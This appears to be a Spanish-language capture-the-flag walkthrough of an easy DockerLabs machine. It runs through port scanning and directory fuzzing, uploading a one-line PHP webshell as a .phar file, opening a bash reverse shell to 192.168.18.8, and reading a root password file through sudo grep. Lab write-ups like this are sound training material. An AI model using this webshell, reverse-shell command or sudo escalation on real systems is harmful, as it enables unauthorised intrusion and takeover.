![]() |
|
| Máquina: Dockerlabs | |
| SO: Linux | |
| Nivel: Facil | |
| DockerLabs |
1. Descubriendo puertos de la maquina objetivo, tenemos funcionando el servicio apache.
sudo nmap -p- -T5 --min-rate=5000 --open -sCV -n -Pn 172.17.0.2

2. No encontramos nada importante en la web.
http://172.17.0.2

3. Realizamos un poco de fuzzing y encontramos dos ficheros .php.
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

4. Revisamos estas paginas, en el fichero machine.php tenemos una subida de archivos.
http://172.17.0.2/machine.php

5. Creamos nuestro archivo para obtener una webshell, intentamos subir el archivo pero no nos permite.
nano shell.php
<?php system($_GET['cmd']);?>

6. Probando con extensiones variantes de php logro subir el fichero con extension .phar, nuestro fichero lo encontramos en el directorio uploads.
http://172.17.0.2/uploads/shell.phar

7. Nos ponemos en escucha con nc y nos enviamos una reverse shell; ya tenemos acceso a la maquina.
nc -nlvp 4000
http://172.17.0.2/uploads/shell.phar?cmd=bash -c "bash -i>%26 /dev/tcp/192.168.18.8/4000 0>%261"

8. En este punto reviso los privilegios sudo del usuario y encuentro dos binarios, ademas de que encuentro una nota en opt.
sudo -l
cat /opt/nota.txt

9. Ambos binarios nos sirve para poder obtener el contenido de un fichero, nos podemos ayudar con gtfobins para el uso de grep o cut.
sudo /usr/bin/grep '' /root/clave.txt

10. Ya con la clave en mano solo nos queda migrar al usuario root.
su root

